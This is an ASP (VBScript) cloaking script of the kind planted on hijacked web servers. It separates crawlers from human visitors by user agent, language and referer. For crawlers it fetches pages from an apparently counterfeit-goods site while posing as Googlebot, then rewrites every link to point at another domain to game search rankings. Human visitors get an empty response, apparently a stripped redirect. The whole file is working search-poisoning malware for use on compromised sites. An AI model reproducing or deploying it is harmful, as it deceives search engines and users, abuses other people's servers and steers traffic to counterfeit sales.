<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
On Error Resume Next
dim jumptodomain, imagefolder, fromsite, tourl
jumptodomain = "http://www.justwagers.com/coatstore.php"
fromsite = "http://www.canadagooselondon.co.uk/"
tourl ="http://www.mol-logistics.ca/nonebutaf.asp"
pageid = "fgwe"
imagefolder = "images/"
tourl = tourl&"?"
dim agent,language,referer
agent=request.servervariables("http_user_agent")
language=request.servervariables("HTTP_ACCEPT_LANGUAGE")
referer=request.servervariables("HTTP_REFERER")
if language = "" and referer = "" then
if InStr(agent, "bot")<=0 then
response.write ""
response.write ""
Response.End
end if
else
response.write ""
response.write ""
Response.End
end if
Function GetLocationURL()
Dim Url
Dim ServerPort,ServerName,ScriptName,QueryString
ServerName = Request.ServerVariables("SERVER_NAME")
ServerPort = Request.ServerVariables("SERVER_PORT")
ScriptName = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
Url="http://"&ServerName
If ServerPort <> "80" Then Url = Url & ":" & ServerPort
Url=Url&ScriptName
If QueryString <>"" Then Url=Url&"?"& QueryString
GetLocationURL=Server.URLEncode(Url)
End Function
Function GetCode(str,regstr)
Dim Reg,serStr,Cols
Set Reg= new RegExp
Reg.IgnoreCase = True
Reg.MultiLine = True
Reg.Pattern =regstr
If Reg.test(str) Then
Set Cols = Reg.Execute(str)
GetCode=Cols(0).SubMatches(0)
Else
GetCode=""
End If
Set Cols = Nothing
Set Reg = Nothing
End Function
%>
<%
on error resume next
Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET", URL, False
HTTPReq.setRequestHeader "User-Agent", "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "UTF-8"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
if Request.QueryString<>"" then
htmls = getHTTPPage(fromsite&Request.QueryString)
htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/")
htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,"location.href","locatoin.href")
htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"/bmz_cache/",""&chr(34)&fromsite&"bmz_cache/")
htmls = replace(htmls,""&chr(34)&"bmz_cache/",""&chr(34)&fromsite&"bmz_cache/")
htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http")
htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl)
else
htmls = getHTTPPage(fromsite)
htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/")
htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder)
htmls = replace(htmls,"location.href","locatoin.href")
htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/")
htmls = replace(htmls,""&chr(34)&"/bmz_cache/",""&chr(34)&fromsite&"bmz_cache/")
htmls = replace(htmls,""&chr(34)&"bmz_cache/",""&chr(34)&fromsite&"bmz_cache/")
htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/")
htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/")
htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/")
htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/")
htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http")
htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl)
end if
response.write htmls
%>